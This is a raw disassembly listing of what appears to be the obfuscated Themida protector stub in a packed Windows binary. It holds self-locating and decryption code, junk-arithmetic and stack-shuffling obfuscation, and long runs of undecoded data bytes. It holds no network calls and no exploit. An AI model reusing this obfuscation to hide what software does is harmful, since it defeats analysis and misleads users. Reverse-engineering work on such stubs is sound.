dd offset word_507DEA
dd offset dword_50DCD0
dd offset byte_508445
dd offset word_50A24A
dd offset word_51513E
dd offset byte_50B0E9
dd offset byte_510ECF
dd offset dword_512C04
dd offset dword_51462C
dd offset dword_517E30
; ---------------------------------------------------------------------------
loc_502A84: ; CODE XREF: Themida_:0054AEDAj
pusha
pushf
cld
call $+5
pop edi
sub edi, 5E34DD5h
mov eax, edi
add edi, 5E34AEDh
cmp eax, [edi+2Ch]
jnz short loc_502AA2
jmp short loc_502AB5
; ---------------------------------------------------------------------------
loc_502AA2: ; CODE XREF: Themida_:00502A9Ej
mov [edi+2Ch], eax
mov ecx, 0A7h
jmp short loc_502AB1
; ---------------------------------------------------------------------------
loc_502AAC: ; CODE XREF: Themida_:00502AB3j
add [edi+ecx*4+40h], eax
dec ecx
loc_502AB1: ; CODE XREF: Themida_:00502AAAj
or ecx, ecx
jnz short loc_502AAC
loc_502AB5: ; CODE XREF: Themida_:00502AA0j
mov esi, [esp+24h]
mov ebx, esi
add esi, eax
mov ecx, 1
loc_502AC2: ; CODE XREF: Themida_:00502AC9j
xor eax, eax
lock cmpxchg [edi+30h], ecx
jnz short loc_502AC2
loc_502ACB: ; CODE XREF: Themida_:00502BBFj
; Themida_:loc_505C5Aj ...
lodsb
xor al, bl
push 4434h
mov [esp], edx
jmp loc_5057EE
; ---------------------------------------------------------------------------
db 83h
dd 0ED8104C4h, 4DE8BAABh, 34FFEB29h, 0C4815D24h, 4, 4EC81h
dd 4890000h, 0B78B824h, 565242A6h, 5628E9h
db 0
; ---------------------------------------------------------------------------
loc_502B05: ; CODE XREF: Themida_:00507604j
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
or eax, eax
jmp loc_50EF3F
; ---------------------------------------------------------------------------
word_502B16 dw 32FFh ; DATA XREF: Themida_:005029C8o
dd 0FFFFAEE9h
db 0FFh
byte_502B1D db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00502874o
dd 89525724h, 4C281E2h, 81000000h, 4EAh, 24148700h, 1271BE9h
dd 48F5E00h, 24248B24h, 24048966h, 0FFFF82E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_502B49: ; CODE XREF: Themida_:00512929j
mov [esp], ebx
jmp loc_514562
; ---------------------------------------------------------------------------
loc_502B51: ; CODE XREF: Themida_:005151BDj
or dh, 48h
shl dh, 4
and dh, 0E1h
dec dh
xor dh, 6Bh
add bl, dh
pop edx
sub bl, 89h
add bl, 0F9h
jmp loc_516536
; ---------------------------------------------------------------------------
db 5Fh, 29h, 6Ch
dd 44810424h, 76DE0424h, 34FF24F2h, 0C4835D24h, 24048B04h
dd 4C481h, 0FD680000h, 8900004Eh, 0E955240Ch, 14A13h, 0BB53D6F7h
dd 4321671Dh, 0E95BDE01h, 908Bh
dword_502BA8 dd 240C8B66h, 111A6E9h ; DATA XREF: Themida_:00502838o
db 0
; ---------------------------------------------------------------------------
loc_502BB1: ; CODE XREF: Themida_:00503337j
mov [esp], eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
mov esp, [esp]
jmp loc_502ACB
; ---------------------------------------------------------------------------
dd 8704C183h, 9FE9240Ch
db 28h, 1, 0
; ---------------------------------------------------------------------------
loc_502BCF: ; CODE XREF: Themida_:005164D0j
mov esp, [esp]
xchg ebx, [esp]
jmp loc_50DC14
; ---------------------------------------------------------------------------
a1Ssc db '1Îé˜æ',0
db 0
; ---------------------------------------------------------------------------
loc_502BE1: ; CODE XREF: Themida_:0050AC6Ej
push ebx
mov ebx, 118164E2h
and eax, ebx
pop ebx
and eax, 1BD71DD3h
shl eax, 4
add eax, 0F0000004h
add ecx, eax
mov eax, [esp]
jmp loc_507D89
; ---------------------------------------------------------------------------
db 53h, 0BBh, 4
dd 1000000h, 241C8BDAh, 55E08950h, 216AB850h, 5DE9268Dh
dd 5F000044h, 117D2E9h, 81EA0100h, 1454F2EAh, 55EA8108h
dd 5D135B29h, 8B241487h, 0F1F62424h, 0CCB60F66h, 7E586866h
dd 240C8966h, 0C8B60F66h, 0E99C5166h, 0FFFFFE7Bh, 0CBDDE958h
dd 14890000h, 7D4AE924h, 0B9510000h, 1DFF0A85h, 12C3EE9h
dd 180F6800h, 1FE90000h
db 89h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_502C73: ; CODE XREF: Themida_:0050AE98j
sub dword ptr [esp+4], 94C52EBh
push dword ptr [esp]
mov ebx, [esp]
sub esp, 4
mov [esp], esi
mov esi, esp
add esi, 4
jmp loc_515605
; ---------------------------------------------------------------------------
db 8Bh
dd 0C4812424h, 4, 4C181h, 0E9560000h, 8D17h, 83BA5250h
dd 5123666Bh, 51172CB9h, 545BB82Fh, 0DCE9F415h, 5900013Fh
dd 8148E9h, 0FDFDE900h, 0E289FFFFh, 4C281h, 0C2830000h
dd 24148704h, 27D5E9h, 4EC8100h, 89000000h, 0BA522424h
dd 4, 4245401h, 4A1FE95Ah, 3C8B0000h, 47BBE924h
db 1, 0
; ---------------------------------------------------------------------------
loc_502D02: ; CODE XREF: Themida_:0051011Cj
pop edx
push ebx
mov ebx, 74837126h
xor esi, ebx
mov ebx, [esp]
add esp, 4
jmp loc_517AB3
; ---------------------------------------------------------------------------
db 89h, 3Ch, 24h
dd 5C790CBFh, 0FD7EE921h, 34310000h, 0EEFEE924h, 0E1890000h
dd 141ECE9h, 240C8900h, 27B6CFB9h, 0E9CB316Bh, 6AB3h, 8B2434FFh
dd 0C4832404h, 1C1BE904h, 0C4810001h, 4, 1428DE9h
db 0
; ---------------------------------------------------------------------------
loc_502D5D: ; CODE XREF: Themida_:005044EEj
sub [esp+8], ebx
pop ebx
mov ebp, [esp]
push 2794h
jmp loc_50B6F0
; ---------------------------------------------------------------------------
loc_502D6F: ; CODE XREF: Themida_:00514AFEj
add ebp, 4E8550E0h
jmp loc_5057AA
; ---------------------------------------------------------------------------
aLVicsG db '‹<$V‰æé»g',0
db 0
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push eax
push 4
jmp loc_50D218
; ---------------------------------------------------------------------------
db 89h
dd 3BA2414h, 0E9239B56h, 573Bh, 21BEB81h, 50E9FF34h, 800000E3h
dd 0C7E973CEh, 520000D7h, 0BD555A54h, 4, 815DEA01h, 4C2h
dd 24143300h, 0E9241431h, 37B2h, 0E9E38953h, 13BA8h, 923F6F05h
dd 2DD8017Eh, 7E923F6Fh, 4EC81h, 2C890000h, 50E58924h
dd 4B8h, 58C50100h, 5BE6BE56h, 0C681762Ch, 89D3A41Eh, 875EF529h
dd 0B2E9242Ch
db 75h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_502E0F: ; CODE XREF: Themida_:0050984Dj
pop eax
push edi
pop eax
push dword ptr [esp]
mov edi, [esp]
add esp, 4
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
add ebp, 9871BFEh
add ebp, eax
push 51C3h
mov [esp], ecx
jmp loc_503F89
; ---------------------------------------------------------------------------
aZ0qy db 'Z0ïY',0
db 0D7h
dd 0E924148Bh, 12053h
; ---------------------------------------------------------------------------
loc_502E54: ; CODE XREF: Themida_:0051451Bj
mov [esp], eax
mov eax, 0AE2184Dh
sub eax, 33AA4F2Ch
sub eax, 0FFFFFFFFh
add eax, 6A379F5h
add eax, 3E0DD7E7h
add ebp, 7B8A1B71h
add ebp, eax
sub ebp, 7B8A1B71h
mov eax, [esp]
add esp, 4
shr ebp, 2
xor ebp, 71AC6BEh
and eax, ebp
jmp loc_50C790
; ---------------------------------------------------------------------------
loc_502E92: ; CODE XREF: Themida_:005146F4j
add esp, 4
jmp loc_506802
; ---------------------------------------------------------------------------
loc_502E9A: ; CODE XREF: Themida_:00510ADBj
shr ebx, 6
and ebx, 5DFA3332h
jmp loc_503DAE
; ---------------------------------------------------------------------------
loc_502EA8: ; CODE XREF: Themida_:0050370Ej
push dword ptr [esp+4]
mov edx, [esp]
add esp, 4
pop dword ptr [esp]
jmp loc_508134
; ---------------------------------------------------------------------------
loc_502EBA: ; CODE XREF: Themida_:00504828j
pop esi
jmp loc_509B37
; ---------------------------------------------------------------------------
aLSN db '‹$$éÜN',0
align 4
loc_502EC8: ; CODE XREF: Themida_:0050DAD6j
mov edx, [esp]
push ebp
mov ebp, esp
jmp loc_50DEBE
; ---------------------------------------------------------------------------
loc_502ED3: ; CODE XREF: Themida_:005098F9j
sub eax, 414D04DFh
add eax, ecx
push ecx
mov ecx, 414D04DFh
add eax, ecx
pop ecx
push dword ptr [esp]
push dword ptr [esp]
jmp loc_514A32
; ---------------------------------------------------------------------------
dw 48Bh
dd 4C48324h, 0E902E6C0h, 0FFFFFEAFh, 4C481h, 81680000h
dd 89000066h, 0BB53240Ch, 2F0B6938h, 0E907EBC1h, 0CFD7h
; ---------------------------------------------------------------------------
loc_502F18: ; CODE XREF: Themida_:00511F73j
pop ax
jmp loc_50910B
; ---------------------------------------------------------------------------
loc_502F1F: ; CODE XREF: Themida_:00512EEFj
sub esp, 4
mov [esp], esi
mov esi, 2CB350F8h
sub ebx, esi
pop esi
push edx
jmp loc_51716A
; ---------------------------------------------------------------------------
loc_502F33: ; CODE XREF: Themida_:0050DE9Fj
shl eax, 5
push 0
sub [esp], eax
jmp loc_50446C
; ---------------------------------------------------------------------------
db 0BDh
dd 0E151EB0h, 5207E5C1h, 1BAh, 0F2F4E900h, 53510000h, 145A5E9h
dd 61E95600h, 81000116h, 0B523F6E6h, 0A0C68112h, 1ED6BFCh
dd 4131E9F5h, 0C1470001h, 0EF8105EFh, 1E197F70h, 4EC81h
dd 0C890000h, 22FAB924h, 0C18174B2h, 28075048h, 731C181h
dd 0BE562B98h, 0
dd 0F187CE29h, 18D1E95Eh, 14890001h, 6920BA24h, 0D321499Bh
dd 2CB5E95Ah, 0D7680001h, 8B4EE30Dh, 0C481242Ch, 4, 0B406E9h
dd 0E9CD0100h, 2116h, 0C24DE95Dh, 0C4810000h, 4, 352668h
dd 240C8900h, 240C8B54h, 1152FE9h, 0E9535D00h, 171Ah
; ---------------------------------------------------------------------------
loc_502FF8: ; CODE XREF: Themida_:00516F1Cj
pop edx
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
jmp loc_50AD7E
; ---------------------------------------------------------------------------
loc_503007: ; CODE XREF: Themida_:0050E67Cj
jmp loc_5153A4
; ---------------------------------------------------------------------------
dd 0EE81CE29h, 711952A0h, 24348759h, 2539E9h
db 0
; ---------------------------------------------------------------------------
loc_50301D: ; CODE XREF: Themida_:0050D185j
xor ebx, 74E35D39h
mov eax, ebx
pop ebx
add edx, eax
pop eax
add edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
jmp loc_504F8E
; ---------------------------------------------------------------------------
aQ@11s db 'Q¹+@11é|¿',0
align 4
aISh db '‰Ëéh',7,0
dw 5A00h
dd 3427C681h, 0C6011B45h, 3427EE81h, 0E9581B45h, 92F9h
dd 81241C8Bh, 4C4h, 148B6600h, 16ADE924h
db 1, 0
; ---------------------------------------------------------------------------
loc_503076: ; CODE XREF: Themida_:005102FFj
mov ecx, 34FB6439h
sub ebp, ecx
jmp loc_50A26B
; ---------------------------------------------------------------------------
loc_503082: ; CODE XREF: Themida_:0050EC57j
shr esi, 6
xor esi, 252DD5Fh
add edx, esi
pop esi
push edx
push esp
pop edx
add edx, 4
sub edx, 4
jmp loc_50F9DF
; ---------------------------------------------------------------------------
word_5030A2 dw 8F64h ; DATA XREF: Themida_:00502960o
dd 0FA21E902h, 0C701FFFFh, 290BE958h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5030B2: ; CODE XREF: Themida_:005154F1j
push esp
jmp loc_510A69
; ---------------------------------------------------------------------------
aSc db '\éæÁ',0
align 2
aP6so db 'P¸Ô=Ø6éOÜ',0
db 0
; ---------------------------------------------------------------------------
loc_5030C9: ; CODE XREF: Themida_:0050DF8Cj
push 2895h
mov [esp], edi
push 33BC2373h
jmp loc_50C85A
; ---------------------------------------------------------------------------
loc_5030DB: ; CODE XREF: Themida_:0050B511j
mov eax, [esp]
push edi
jmp loc_508EA9
; ---------------------------------------------------------------------------
dd 4BDh, 246C8100h, 4210C04h, 246C013Fh, 24448104h, 4210C04h
dd 2434FF3Fh, 4C4815Dh, 5E000000h, 0E9E68956h, 0BC98h
; ---------------------------------------------------------------------------
loc_503110: ; CODE XREF: Themida_:00510971j
push eax
jmp loc_504894
; ---------------------------------------------------------------------------
loc_503116: ; CODE XREF: Themida_:00509D68j
pop edx
jmp loc_50E418
; ---------------------------------------------------------------------------
dd 0A4318D2Dh, 5D0013Dh, 3DA4318Dh, 7F6B1205h, 8F60504h
dd 148B1ADAh, 52016824h, 28E90000h, 83000041h, 0C181FFE9h
dd 14B57E38h, 2E9C149h, 71CEBD55h, 0CD814306h, 49107352h
dd 481554Dh, 124h, 3973E900h, 74FF0000h, 1C8B0424h, 4C48324h
dd 0E924048Fh, 5D45h, 1A01C781h, 0D7016E06h, 1A01EF81h
dd 875A6E06h, 248B243Ch, 48B6624h, 68906824h, 34890000h
dd 68E68924h, 74AFh, 0B9240C89h, 4, 19D168h, 24148900h
dd 0D441D5BAh, 66C6816Dh, 1334421h, 4621E9D6h, 0BF570000h
dd 2, 7226C681h, 83E94DDFh, 870000A9h, 0D6F72434h, 33243431h
dd 34312434h, 0EB815B24h, 0A0328409h, 685BD901h, 7ADBh
dd 0FF240C89h, 59042474h, 8B24048Fh, 0A30F2424h, 0E99C2404h
dd 0FFFFF8C3h, 2D48D8F7h, 3FE06497h, 0A1A7E9h, 24048300h
dd 2BC9E904h, 57560000h, 0EB3C88BFh, 5E95214h, 10000CFh
dd 0E8315BDDh, 5CDBE9h, 80EED000h, 0F520ADF6h, 80D5F65Ah
dd 0E80042EDh, 86B25259h, 0C2FEC2FEh, 28BEC280h, 24148BD0h
dd 1221DE9h, 4E6C100h, 8102E6C1h, 0AF6344E6h, 46D6F728h
dd 6798EE81h, 0F729B928h, 0E9C7295Eh, 0AC2Ch
; ---------------------------------------------------------------------------
loc_503278: ; CODE XREF: Themida_:0050EB5Bj
mov ebp, 50B23209h
sub ecx, ebp
jmp loc_504F14
; ---------------------------------------------------------------------------
dd 4245401h, 6B84E9h, 24EF8100h, 592F2D01h, 2C781h, 3C330000h
dd 243C3124h, 8B243C33h, 0EC832424h, 240C8904h, 5753D188h
dd 0EE6F9FBFh, 0F9B8501Fh, 51DE20Ch, 1, 8904EC83h, 0ADBD242Ch
dd 0E90F7A63h, 1433Ah
; ---------------------------------------------------------------------------
loc_5032D0: ; CODE XREF: Themida_:00510AFEj
push 27Eh
mov [esp], edi
mov edi, esp
push edx
push eax
push 11292DB3h
pop eax
jmp loc_50E4B9
; ---------------------------------------------------------------------------
db 83h
dd 0D8E904ECh, 5300005Eh, 0A4213BBBh, 8BDA895Ch, 0C483241Ch
dd 0F6BB5304h, 2D1ADA08h, 1C852632h, 5521E205h, 0E9D82911h
dd 249h
; ---------------------------------------------------------------------------
loc_503314: ; CODE XREF: Themida_:005080F3j
pop eax
xor eax, 17065A8Eh
sub edi, 602439E6h
add edi, eax
add edi, 602439E6h
pop eax
jmp loc_515B4F
; ---------------------------------------------------------------------------
loc_50332E: ; CODE XREF: Themida_:005107A8j
xchg eax, [esp]
pop esp
push 3C60h
jmp loc_502BB1
; ---------------------------------------------------------------------------
dd 27F468h, 242C8900h, 2BDh, 0BBC78100h, 81030A49h, 2F3EE0C7h
dd 94EF813Ah, 811AA54Ah, 410D4EEFh, 81EF0156h, 410D4EC7h
dd 94C78156h, 811AA54Ah, 2F3EE0EFh, 0BBEF813Ah, 5D030A49h
dd 8B243C87h, 0F662424h, 9C2404BBh, 0FFF73EE9h, 0E9D42CFFh
dd 12479h, 745ACE81h, 4BE939DEh
db 6Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_50339F: ; CODE XREF: Themida_:00504ABCj
push 7089h
jmp loc_50C00B
; ---------------------------------------------------------------------------
loc_5033A9: ; CODE XREF: Themida_:00509E0Cj
add edx, ebp
pop ebp
jmp loc_50D31F
; ---------------------------------------------------------------------------
db 81h, 0EAh, 48h
dd 2943E102h, 0C1315AD0h, 8324048Bh, 0CD8904C4h, 81240C8Bh
dd 4C4h, 14F75500h, 0C5C2E924h, 315C0000h, 0B9C281C3h
dd 29421A71h, 5FB568C2h, 2C890000h, 93B85024h, 52145636h
dd 4B30AFBAh, 293BE91Ch
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5033FA: ; CODE XREF: Themida_:0050931Aj
add ebx, 4
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
jmp loc_5121D1
; ---------------------------------------------------------------------------
loc_50340E: ; CODE XREF: Themida_:00511038j
sub edx, 35D92BC8h
sub edx, 4E7E7DD2h
add edx, ebx
add edx, 4E7E7DD2h
add edx, 35D92BC8h
add edx, 6BDC4642h
pop ebx
jmp loc_506C66
; ---------------------------------------------------------------------------
loc_503434: ; CODE XREF: Themida_:0050B263j
add edi, 14896630h
jmp loc_50E019
; ---------------------------------------------------------------------------
db 0B8h
dd 65025F02h, 43F3BA52h, 0D02919E4h, 13C0AE9h, 0E9D8F700h
dd 0FFFFFDB0h, 50241C89h, 0ECC01EB4h, 8EB25204h, 0E95AD430h
dd 0B75Eh
; ---------------------------------------------------------------------------
loc_50346C: ; CODE XREF: Themida_:00509A27j
pop eax
add edi, 0EF57B152h
and eax, edi
jmp loc_50DDD8
; ---------------------------------------------------------------------------
dw 814Eh
dd 822D2AC6h, 17C68126h, 9C912B9h, 80E95EF3h
db 0D2h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_50348F: ; CODE XREF: Themida_:0050BAF1j
push ecx
mov cl, 79h
jmp loc_50E76A
; ---------------------------------------------------------------------------
loc_503497: ; CODE XREF: Themida_:00515DC3j
xor eax, 46DC45D3h
push edi
mov edi, 5DF7594Eh
xchg edx, edi
sub edx, 0FFFFFFFFh
jmp loc_5160BC
; ---------------------------------------------------------------------------
dd 77EABD55h, 0E801E63Bh, 47C6815Dh, 1454A0Eh, 47EE81C6h
dd 0E9454A0Eh, 0E7AAh
; ---------------------------------------------------------------------------
loc_5034C8: ; CODE XREF: Themida_:0050E807j
push edi
mov edi, esp
add edi, 4
jmp loc_515A7E
; ---------------------------------------------------------------------------
dw 0C481h
dd 4, 9755E956h, 0DD010000h, 4EC81h, 4890000h, 65B4B824h
dd 0E0C1313Bh, 48D8F705h, 0D676B25h, 4C6FE948h, 0CE810000h
dd 5BDC478Ch, 11D6C681h, 0C2812071h, 381B5D3Eh, 0EA81F201h
dd 381B5D3Eh, 487E95Eh, 34890000h, 76086824h, 67E90000h
dd 560000F4h, 4EC8355h, 0BB241C89h, 26403BB2h, 0A36FE9h
dd 2434FF00h, 8324148Bh, 8AE904C4h, 0C1000044h, 0C58106EDh
dd 0CD092BACh, 999DE9h, 0E2BF5700h, 29115521h, 26CE9F8h
dd 815B0001h, 2D6FC1CEh, 0F0EE810Bh, 811C4065h, 0C5A765C6h
dd 8BF00100h, 0C4812434h, 4, 7ACEB81h, 685562B3h, 71EA3799h
dd 0E9242C8Bh, 0FFFFF53Fh, 0E6C98141h, 684C402Dh, 3985h
dd 0BE243489h, 666D0F6Fh, 3499C681h, 6CE93C17h, 0BF0000BAh
dd 0E1DC9DBh, 315FFA31h, 0F1895AD6h, 5E2434FFh, 4C481h
dd 0C5E90000h
db 5Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5035D7: ; CODE XREF: Themida_:00515B38j
pop esi
pop dword ptr [esp]
jmp loc_515D92
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 4
mov [esp], edi
push eax
push 1A013783h
pop eax
inc eax
neg eax
shl eax, 7
xor eax, 0FF643E04h
mov edi, eax
pop eax
sub ebp, 4BE476BEh
add ebp, edi
jmp loc_50A855
; ---------------------------------------------------------------------------
db 81h
dd 0F66DC8C9h, 23F18123h, 815FD93Dh, 534266E9h, 81E9D13Ch
dd 697D80E9h, 0E9CF2925h, 13AB7h, 83585450h, 3C8904ECh
dd 1C96BF24h, 43E90B5Fh, 8B0000FFh, 0C483241Ch, 80D3F604h
dd 0D82811C3h, 83241C8Bh, 0A96804C4h, 0E9000012h, 132Eh
; ---------------------------------------------------------------------------
loc_50365C: ; CODE XREF: Themida_:0050667Bj
mov edx, 285A7CB2h
jmp loc_513903
; ---------------------------------------------------------------------------
dw 0E581h
dd 92E4BCBh, 4802F581h, 0C2810000h, 135B2955h, 54F2C281h
dd 9EE90814h
db 0F5h, 2 dup(0FFh)
byte_503683 db 0ACh ; DATA XREF: Themida_:0050289Co
dd 10AA6853h, 42E90000h, 10000DCh, 3BE95EF1h, 100009Ah
dd 0BA525BDDh, 4, 10399E9h, 59EB2800h, 0E924048Bh, 5958h
dd 0E6B6E950h, 0EF810000h, 736D3675h, 34FFFA01h, 0C4835F24h
dd 4EB85004h, 534A3433h, 0F8508EBBh, 5BD80927h, 0E9774425h
dd 83D0F72Fh, 0D0F701E8h, 0E873412Dh, 0A137E92Fh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5036EA: ; CODE XREF: Themida_:00503CC3j
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
mov esp, [esp]
jmp loc_516215
; ---------------------------------------------------------------------------
dw 835Ah
dd 2C8702C5h, 820EE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_50370A: ; CODE XREF: Themida_:00517CA3j
add edx, 4
push edx
jmp loc_502EA8
; ---------------------------------------------------------------------------
loc_503713: ; CODE XREF: Themida_:005136E7j
push dword ptr [esp]
jmp loc_5135DA
; ---------------------------------------------------------------------------
db 0BEh
dd 28538F3h, 733BBB53h, 0DE314D41h, 451AE95Bh
db 1, 0
word_50372E dw 8357h ; DATA XREF: Themida_:00502A4Co
dd 248904ECh, 24048324h, 68525F04h, 3241h, 5A55E9h, 241C8900h
dd 0E9505B54h, 0FFFFFACEh, 8104C483h, 0C51853EFh, 81DF0128h
dd 0C51853C7h, 0B3E95B28h
db 0F9h, 2 dup(0)
byte_503767 db 66h ; DATA XREF: Themida_:00502A18o
dd 8124048Bh, 4ECh, 242C8900h, 2434FF54h, 8B54535Dh, 0C483241Ch
dd 90BE5604h, 81011E5Eh, 2C094AEEh, 0E35AE909h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_503792: ; CODE XREF: Themida_:005089BFj
sub ecx, 4C427536h
shr ecx, 6
add ecx, 2AE61E81h
jmp loc_5173D2
; ---------------------------------------------------------------------------
dw 0EC83h
dd 0D8AAE904h
db 2 dup(0)
word_5037AE dw 8B66h ; DATA XREF: Themida_:005029B0o
dd 22E92404h, 8B00009Ah, 0C481240Ch, 4, 13234E9h, 0CE815900h
dd 0A7D4535h, 6B7AEE81h, 52506876h, 1C374CBAh, 0EBE5B81Ch
dd 0DE97698h, 8F00011Fh, 665C2404h, 2E9E9F7h
db 4Dh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5037EF: ; CODE XREF: Themida_:0050B8B6j
xchg eax, [esp]
pop esp
add esp, 4
or eax, eax
jz loc_5172A3
sub esp, 4
mov [esp], eax
mov eax, 1Ch
jmp loc_5121B0
; ---------------------------------------------------------------------------
db 8Fh, 4, 24h
dd 4EC815Ch, 89000000h, 9B22414h, 4153E9h
db 0
; ---------------------------------------------------------------------------
loc_503825: ; CODE XREF: Themida_:00505457j
add esp, 4
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
sub esp, 4
mov [esp], ebx
mov ebx, esp
add ebx, 4
push edx
mov edx, 1FBA000Ah
or edx, 48214E8Ch
add edx, 0FFFFFFFFh
neg edx
jmp loc_512EE3
; ---------------------------------------------------------------------------
loc_503865: ; CODE XREF: Themida_:0050A184j
shl ecx, 4
jmp loc_510DDD
; ---------------------------------------------------------------------------
db 8Bh, 4, 24h
dd 4C481h, 0CB880000h, 0EC8EE959h, 2C8B0000h, 4C48324h
dd 1CBD68h, 1B5FE900h, 0F3810001h, 0C337E355h, 515BD901h
dd 0FF27E95Eh
db 2 dup(0FFh)
word_50389E dw 8B66h ; DATA XREF: Themida_:00502914o
dd 7868240Ch, 89000028h, 0DF682404h, 89000026h, 4812424h
dd 424h, 2434FF00h, 4C48158h, 53000000h, 468h, 1BE95B00h
db 0B3h, 2 dup(0)
aNFgojvspi db '-”GŽJVéP¨',0 ; DATA XREF: Themida_:00502994o
db 0
; ---------------------------------------------------------------------------
loc_5038DB: ; CODE XREF: Themida_:005122C5j
add esp, 4
pop edx
jmp loc_506B2D
; ---------------------------------------------------------------------------
db 0FFh
a4SP db '4$]éÔP',0
align 10h
dd 0E95BDA01h, 9E8Ah, 0E95AD788h, 0FFFFF350h, 81FA0158h
dd 5607FC2h, 0C2835F41h, 74FF5204h, 34FF0424h, 0DF79E924h
dd 0E0890000h, 405h, 4C08300h, 8B240487h, 4052424h, 0E9000000h
dd 0CBF4h, 0E9241486h, 0FFFFFD03h, 57241C8Bh, 0C781E789h
dd 4, 4C781h, 3C870000h, 24248B24h, 205h, 24043300h, 33240431h
dd 248B2404h, 9CC13824h, 0FFF15EE9h, 241489FFh, 8904EC83h
dd 34FF2404h
db 24h, 5Ah
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
mov esp, [esp]
mov [esp], ebp
push esp
pop ebp
push esi
mov esi, esp
add esi, 4
sub esi, 4
jmp loc_51582C
; ---------------------------------------------------------------------------
dw 0F800h
dd 0E44DE9h, 16BF5700h, 811DDB5Fh, 291408C2h, 0E9FA2956h
dd 0F550h
; ---------------------------------------------------------------------------
loc_5039BC: ; CODE XREF: Themida_:00510A5Bj
mov esp, [esp]
sub esp, 4
jmp loc_504AB9
; ---------------------------------------------------------------------------
aMsA db 'Ž;A',0 ; DATA XREF: Themida_:00502988o
db 0
; ---------------------------------------------------------------------------
loc_5039CD: ; CODE XREF: Themida_:0050A5A1j
mov esp, [esp]
jmp loc_515FF5
; ---------------------------------------------------------------------------
db 1, 0DAh, 81h
dd 0FE3767EAh, 48FEE958h, 0EC810000h, 4, 83242489h, 5F042404h
dd 4C781h, 0CE90000h
db 2Dh, 1, 0
; ---------------------------------------------------------------------------
loc_5039FB: ; CODE XREF: Themida_:0050DC06j
not ebx
jmp loc_50BDDD
; ---------------------------------------------------------------------------
dw 0E581h
dd 564E11BBh, 1EC3CD81h, 0ED81256Fh, 676F1FC7h, 565DEB01h
dd 4BEh, 1D71E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_503A22: ; CODE XREF: Themida_:00504542j
push edi
mov edi, 48F92B17h
shl edi, 8
xor edi, 81A57BDh
push esi
mov esi, 2D232096h
inc esi
xor esi, 585E6426h
jmp loc_50DA8A
; ---------------------------------------------------------------------------
db 59h
dd 0E9DE215Dh, 0FFFFFB1Eh, 9FBE5658h, 0E91FF16Ch, 0E441h
dword_503A58 dd 9D1C77FFh, 1CD25966h, 64E99C24h, 0FFFFFFF0h, 0E9042474h
; DATA XREF: Themida_:00502A38o
dd 128E3h, 4B85052h, 89000000h, 1DE958C2h, 59000133h, 4C181h
dd 0BF570000h, 2B404D33h, 3F12EF81h, 5053BD0Bh, 9EE4E9h
dd 0E9315F00h, 56BB535Dh, 8119870Fh, 6E1DE3F3h, 5BD92930h
dd 0C181F901h, 29E912B5h, 358A68h, 24048900h, 8490E9h
db 0
; ---------------------------------------------------------------------------
loc_503AC1: ; CODE XREF: Themida_:0051324Bj
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], edx
mov dl, 26h
add bh, 95h
add bh, dl
jmp loc_512D94
; ---------------------------------------------------------------------------
dd 8704C783h, 835C243Ch, 0C8704C1h, 54555C24h, 81242C8Bh
dd 4C4h, 25E0E900h
db 1, 0
; ---------------------------------------------------------------------------
loc_503AFA: ; CODE XREF: Themida_:00509A1Aj
mov [esp], edx
mov edx, esp
add edx, 4
push eax
jmp loc_517AEB
; ---------------------------------------------------------------------------
db 83h
dd 2C8904ECh, 0FEB95124h, 810B7518h, 974D7FE1h, 8E1C12Ch
dd 4689C181h, 0A7E90730h
db 0A6h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_503B2B: ; CODE XREF: Themida_:0050AD7Fj
push small 7D87h
mov [esp], bx
mov bl, 41h
push ecx
jmp loc_517BDA
; ---------------------------------------------------------------------------
loc_503B3B: ; CODE XREF: Themida_:00516D02j
mov ah, bl
jmp loc_513490
; ---------------------------------------------------------------------------
loc_503B42: ; CODE XREF: Themida_:00509EDDj
push dword ptr [esp]
push dword ptr [esp]
jmp loc_5085BD
; ---------------------------------------------------------------------------
loc_503B4D: ; CODE XREF: Themida_:0050CBC8j
add ecx, 0FF9FDCDCh
mov ebx, ecx
pop ecx
add ebp, 4CE76143h
add ebp, ebx
jmp loc_5054CB
; ---------------------------------------------------------------------------
db 81h
dd 4ECh, 24148900h, 0FB6652BAh, 4EC830Bh, 53243489h, 0C1D1F68h
dd 0EB815B62h, 0B7D58CDh, 40A0F381h, 78E96D75h, 89000047h
dd 0CEB850E7h, 0C1269913h, 34E907E0h, 54000048h, 4C18159h
dd 68000000h, 3C9h, 0BF243C89h, 61FD2FCBh, 6807EFC1h, 6CD8h
dd 4D34E9h
db 0
; ---------------------------------------------------------------------------
loc_503BC1: ; CODE XREF: Themida_:00513CF1j
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_5130FB
; ---------------------------------------------------------------------------
loc_503BD6: ; CODE XREF: Themida_:00515795j
mov [esp], ebp
mov ebp, 4
sub edx, 0A1F1754h
add edx, ebp
add edx, 0A1F1754h
pop ebp
add edx, 4
xchg edx, [esp]
mov esp, [esp]
shr ecx, 7
sub esp, 4
